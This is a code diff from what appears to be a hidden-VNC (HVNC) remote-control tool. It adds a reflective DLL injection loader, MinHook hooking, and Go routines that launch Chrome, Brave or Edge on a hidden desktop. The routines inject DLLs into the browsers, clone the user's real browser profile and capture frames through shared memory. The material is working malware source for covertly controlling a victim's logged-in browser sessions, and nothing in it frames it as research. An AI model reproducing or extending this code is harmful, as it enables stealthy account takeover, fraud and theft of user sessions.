// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
+215
View File
@@ -0,0 +1,215 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
+18
View File
@@ -0,0 +1,18 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
// Replace __try/__except with plain code execution (no SEH guard).
#define __try
#define __except(x) if (0)
#define __finally
// MSVC uses GetExceptionCode() inside __except; provide a stub.
#ifndef GetExceptionCode
#define GetExceptionCode() 0
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H
+18 -3
View File
@@ -168,6 +168,7 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader /> <PrecompiledHeader />
@@ -182,7 +183,6 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" <Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
@@ -245,6 +245,7 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader /> <PrecompiledHeader />
@@ -259,7 +260,6 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" <Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
@@ -272,13 +272,28 @@
<ClCompile Include="src\ReflectiveDll.c" /> <ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" /> <ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\NtApiHooks.c" /> <ClCompile Include="src\NtApiHooks.c" />
<ClCompile Include="Minhook\src\buffer.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hook.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\trampoline.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde32.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde64.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="src\NtApiHooksConfig.h" /> <ClInclude Include="src\NtApiHooksConfig.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" /> <ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" /> <ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\NtApiHooks.h" /> <ClInclude Include="src\NtApiHooks.h" />
<ClInclude Include="src\MinHook.h" /> <ClInclude Include="Minhook\include\MinHook.h" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
-1
View File
@@ -12,7 +12,6 @@ extern "C" {
#include <string.h> #include <string.h>
#ifdef _MSC_VER #ifdef _MSC_VER
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ntdll.lib")
#endif #endif
Binary file not shown.
@@ -0,0 +1,318 @@
//go:build windows
package capture
import (
"encoding/binary"
"fmt"
"log"
"sync"
"syscall"
"time"
"unsafe"
)
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
// must be kept in sync with HVNCCapture/src/DXGICapture.h.
type hvncFrameHeader struct {
Magic uint32
Version uint32
Width uint32
Height uint32
Stride uint32
Format uint32
FrameSeq uint64
TimestampNs uint64
PID uint32
Reserved uint32
}
const (
hvncFrameMagic = 0x434E5648 // 'HVNC'
hvncFrameVersion = 1
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
hvncShmPrefix = `Local\hvnc_frame_`
hvncEventPrefix = `Local\hvnc_evt_`
)
var (
procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
procOpenEventW = kernel32.NewProc("OpenEventW")
)
const (
FILE_MAP_READ = 0x0004
EVENT_ALL_ACCESS = 0x1F0003
SYNCHRONIZE = 0x00100000
)
type hvncFrameReader struct {
pid uint32
shmHandle uintptr
shmView unsafe.Pointer
shmSize uintptr
evtHandle uintptr
lastSeq uint64
staleCount int
mu sync.Mutex
}
var (
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
hvncFrameReadersMu sync.Mutex
hvncGPUPIDMap = make(map[uint32]uint32)
)
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
hvncFrameReadersMu.Lock()
hvncGPUPIDMap[browserPID] = gpuPID
hvncFrameReadersMu.Unlock()
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
}
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
if r, ok := hvncFrameReaders[pid]; ok {
if r.staleCount > 300 {
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
r.close()
delete(hvncFrameReaders, pid)
} else {
return r
}
}
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
shmHandle, _, _ := procOpenFileMappingW.Call(
FILE_MAP_READ,
0,
uintptr(unsafe.Pointer(shmName)),
)
if shmHandle == 0 {
return nil
}
view, _, _ := procMapViewOfFile.Call(
shmHandle,
FILE_MAP_READ,
0, 0,
hvncFrameHeaderSize,
)
if view == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
if hdr.Magic != hvncFrameMagic {
procUnmapViewOfFile.Call(view)
procCloseHandle.Call(shmHandle)
return nil
}
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
procUnmapViewOfFile.Call(view)
view = 0
hdr = nil
fullView, _, _ := procMapViewOfFile.Call(
shmHandle,
FILE_MAP_READ,
0, 0,
fullSize,
)
if fullView == 0 {
procCloseHandle.Call(shmHandle)
return nil
}
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
evtHandle, _, _ := procOpenEventW.Call(
SYNCHRONIZE,
0,
uintptr(unsafe.Pointer(evtName)),
)
r := &hvncFrameReader{
pid: pid,
shmHandle: shmHandle,
shmView: unsafe.Pointer(fullView),
shmSize: fullSize,
evtHandle: evtHandle,
}
hvncFrameReaders[pid] = r
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
pid, hdr2.Width, hdr2.Height, fullSize)
return r
}
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
r.mu.Lock()
defer r.mu.Unlock()
if r.shmView == nil {
return 0, 0, false
}
hdr := (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
return 0, 0, false
}
w = int(hdr.Width)
h = int(hdr.Height)
stride := int(hdr.Stride)
if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
return 0, 0, false
}
dstStride := w * 4
if stride < dstStride {
return 0, 0, false // stride must be >= w*4
}
needed := w * h * 4
if len(dst) < needed {
return 0, 0, false
}
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
if totalNeeded > r.shmSize {
r.remap(w, h, stride)
if r.shmView == nil {
return 0, 0, false
}
hdr = (*hvncFrameHeader)(r.shmView)
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
return 0, 0, false
}
}
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
srcSize := stride * h
src := unsafe.Slice((*byte)(pixelData), srcSize)
for y := 0; y < h; y++ {
srcOff := y * stride
dstOff := y * dstStride
copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
}
seq := hdr.FrameSeq
if seq != r.lastSeq {
r.lastSeq = seq
r.staleCount = 0
} else {
r.staleCount++
}
return w, h, true
}
func (r *hvncFrameReader) remap(w, h, stride int) {
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
view, _, _ := procMapViewOfFile.Call(
r.shmHandle,
FILE_MAP_READ,
0, 0,
newSize,
)
if view == 0 {
return
}
r.shmView = unsafe.Pointer(view)
r.shmSize = newSize
}
func (r *hvncFrameReader) close() {
r.mu.Lock()
defer r.mu.Unlock()
if r.shmView != nil {
procUnmapViewOfFile.Call(uintptr(r.shmView))
r.shmView = nil
}
if r.shmHandle != 0 {
procCloseHandle.Call(r.shmHandle)
r.shmHandle = 0
}
if r.evtHandle != 0 {
procCloseHandle.Call(r.evtHandle)
r.evtHandle = 0
}
}
func hvncCleanupFrameReaders() {
hvncFrameReadersMu.Lock()
defer hvncFrameReadersMu.Unlock()
for pid, r := range hvncFrameReaders {
r.close()
delete(hvncFrameReaders, pid)
}
for k := range hvncGPUPIDMap {
delete(hvncGPUPIDMap, k)
}
}
var (
hvncInjectedPIDs = make(map[uint32]time.Time)
hvncInjectedPIDsMu sync.Mutex
)
func hvncRegisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
hvncInjectedPIDs[pid] = time.Now()
hvncInjectedPIDsMu.Unlock()
}
func hvncGetInjectedPIDs() []uint32 {
hvncInjectedPIDsMu.Lock()
defer hvncInjectedPIDsMu.Unlock()
pids := make([]uint32, 0, len(hvncInjectedPIDs))
for pid := range hvncInjectedPIDs {
pids = append(pids, pid)
}
return pids
}
func hvncUnregisterInjectedPID(pid uint32) {
hvncInjectedPIDsMu.Lock()
delete(hvncInjectedPIDs, pid)
hvncInjectedPIDsMu.Unlock()
}
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
if len(data) < hvncFrameHeaderSize {
return nil, false
}
hdr := &hvncFrameHeader{
Magic: binary.LittleEndian.Uint32(data[0:4]),
Version: binary.LittleEndian.Uint32(data[4:8]),
Width: binary.LittleEndian.Uint32(data[8:12]),
Height: binary.LittleEndian.Uint32(data[12:16]),
Stride: binary.LittleEndian.Uint32(data[16:20]),
Format: binary.LittleEndian.Uint32(data[20:24]),
FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
PID: binary.LittleEndian.Uint32(data[40:44]),
Reserved: binary.LittleEndian.Uint32(data[44:48]),
}
if hdr.Magic != hvncFrameMagic {
return nil, false
}
return hdr, true
}
@@ -4,16 +4,17 @@ package capture
import "errors" import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
return errors.New("HVNC injection not supported on this platform") return errors.New("HVNC injection not supported on this platform")
} }
@@ -35,6 +35,9 @@ var (
var advapi32 = syscall.NewLazyDLL("advapi32.dll") var advapi32 = syscall.NewLazyDLL("advapi32.dll")
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string) type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
var hvncDXGIStatusCallback atomic.Value
const ( const (
PROCESS_CREATE_THREAD = 0x0002 PROCESS_CREATE_THREAD = 0x0002
@@ -99,7 +102,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop, // StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it. // injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks. // searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error { func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" { if filePath == "" {
return fmt.Errorf("empty file path") return fmt.Errorf("empty file path")
} }
@@ -108,11 +111,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
} }
result, err := executeHVNCTask(hvncTask{ result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected, kind: hvncTaskStartProcessInjected,
filePath: filePath, filePath: filePath,
dllBytes: dllBytes, dllBytes: dllBytes,
searchPath: searchPath, captureDllBytes: captureDllBytes,
replacePath: replacePath, searchPath: searchPath,
replacePath: replacePath,
}, 30*time.Second) }, 30*time.Second)
if err != nil { if err != nil {
return err return err
@@ -124,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone. // If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection. // If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge". // browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error { func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
}
info, ok := browserInfoMap[strings.ToLower(browser)] info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok { if !ok {
return fmt.Errorf("unknown browser %q", browser) return fmt.Errorf("unknown browser %q", browser)
@@ -151,7 +158,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone { if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name) log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "") return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
} }
realUserData := getBrowserUserDataDir(info) realUserData := getBrowserUserDataDir(info)
@@ -188,12 +195,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
} }
} }
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir) return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
} }
// StartHVNCChromeInjected is kept for backward compatibility. // StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error { func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil) return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
} }
type browserInfo struct { type browserInfo struct {
@@ -660,7 +667,7 @@ func calcDirSize(dir string) int64 {
return total return total
} }
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error { func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
if filePath == "" { if filePath == "" {
return fmt.Errorf("empty file path") return fmt.Errorf("empty file path")
} }
